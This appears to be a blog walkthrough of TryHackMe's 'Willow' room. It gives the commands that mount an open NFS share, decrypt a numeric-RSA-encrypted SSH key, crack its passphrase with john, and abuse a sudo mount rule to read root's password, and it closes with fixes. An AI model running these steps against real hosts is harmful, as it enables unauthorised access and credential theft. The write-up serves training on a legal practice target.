mintshell
VI

Willow

A web page's numeric RSA ciphertext is decrypted with a keypair left on an open NFS export to recover an SSH key; its passphrase cracks, and a sudo 'mount /dev/*' rule plus a hidden_backup device holding root's password gives root (whose flag is steg-hidden in user.jpg).

Platform
TryHackMe
Room
Willow(external link)
Difficulty
Medium
Vulnerabilities
world-readable secret file, weak credentials, insecure sudo configuration
4 min read

A walkthrough of the “Willow” room from TryHackMe — a crypto-and-NFS puzzle. The web page is a giant numeric-RSA ciphertext of Willow’s SSH key; the matching keypair sits on an open NFS export, so we decrypt the key, crack its passphrase, and log in. A _sudo mount /dev/_* rule plus a hidden*backup* _device holding root’s password gets us root — whose flag is steganographically hidden inside the user image.

Willow is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The recovered SSH passphrase and account passwords are shown as <redacted>, and the flag as THM{<redacted>} — real on the box, withheld here.


TL;DR

TL;DR

Port 80’s “Recovery Page” is a huge numeric-RSA ciphertext of Willow’s SSH key → an open NFS export /var/failsafe holds rsa_keys with the private keypair (d, n) → a short Python script (chr(c**d % n)) decrypts the ciphertext into an encrypted RSA PEM → ssh2john + john crack the key passphrase → SSH in as willow (legacy ssh-rsa algorithms) → sudo -l allows /bin/mount /dev/*, and /dev/hidden_backup is a device holding creds.txt with root’s password → mount it, su to root → the actual root flag is steg-hidden in user.jpg, extracted with steghide using root’s password.

The target

export IP=<target-ip>

nmap shows an old SSH, a web “Recovery Page”, and NFS:

22/tcp   open  ssh      OpenSSH 6.7p1 Debian   # legacy (ssh-rsa/dss)
80/tcp   open  http     Apache 2.4.10          # "Recovery Page"
111/tcp  open  rpcbind
2049/tcp open  nfs

The web page is a wall of numbers — a numeric RSA ciphertext of someone’s SSH private key.

The vulnerability

The crypto is deliberately weak and, worse, the private key material is exposed on an open NFS export. Once you can read the private keypair, the “encrypted” web blob is trivially decrypted. The privesc is a dangerous sudo mount rule.

Insight

The whole first half collapses because the RSA private key is left on an anonymous NFS share (/var/failsafe/rsa_keys → (d, n)). Textbook numeric RSA is only as safe as its key secrecy; with (d, n) in hand, decrypting each number is c**d % n. Then sudo mount /dev/* lets willow mount any device — including a conveniently named /dev/hidden_backup that contains root’s cleartext password.

Step 1 — NFS keypair → decrypt the SSH key → crack passphrase

sudo mount -t nfs $IP:/var/failsafe /mnt/willow
cat /mnt/willow/rsa_keys   # Private Key Pair: (d, n)
# save the web page's numbers to encoded.txt, then decrypt:
python3 rsaDecoded.py encoded.txt <d> <n> > rsakey   # -> encrypted RSA PEM
ssh2john rsakey > rsa.hash && john --wordlist=rockyou.txt rsa.hash   # passphrase: <redacted>

Step 2 — SSH as willow

The box is old, so force legacy algorithms:

ssh -i rsakey willow@$IP -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa
# passphrase: <redacted>  ->  willow@willow-tree
# user.jpg is in willow's home (keep it — the root flag hides inside)

Step 3 — sudo mount a hidden device → root

willow@willow-tree:~$ sudo -l
# (ALL : ALL) NOPASSWD: /bin/mount /dev/*
willow@willow-tree:/dev$ ls | grep hidden   # hidden_backup
willow@willow-tree:/mnt$ sudo /bin/mount /dev/hidden_backup /mnt/creds/
willow@willow-tree:/mnt/creds$ cat creds.txt
# root:<redacted>   willow:<redacted>
willow@willow-tree:~$ su     # root's password -> root shell

/root/root.txt is a troll (“I gave you the flag already”). The real root flag is steg-hidden in user.jpg, with root’s password as the passphrase:

steghide extract -sf user.jpg   # passphrase = root's password
cat root.txt   # THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An anonymous NFS export discloses the RSA private key that “protects” a web-published SSH key, so an unauthenticated attacker decrypts it, cracks a weak passphrase, and logs in. A sudo mount /dev/* rule then mounts a device holding root’s cleartext password, yielding full root — complete host compromise.

Fix

  • Never expose private keys on NFS (or anywhere); restrict exports to trusted hosts with root_squash and least privilege, and don’t publish key material on a web page.
  • Don’t use textbook numeric RSA or store passwords in cleartext on a mountable device.
  • Scope sudo mount tightly. mount /dev/* lets a user mount arbitrary (and attacker-staged) filesystems; restrict to specific devices/options or remove it.
  • Enforce a strong key passphrase so a leaked key isn’t instantly usable.

Takeaways

  • Key secrecy is the whole game for RSA. The private (d, n) on NFS made the “encryption” meaningless.
  • sudo mount /dev/* is a privesc. Mounting an attacker-chosen or secret-bearing device is root-adjacent.
  • Read the troll flags. root.txt pointed back at the earlier image — the flag was steg-hidden all along.

Willow is a tidy crypto-to-root chain built on an exposed key and a loose mount rule. Thanks for reading.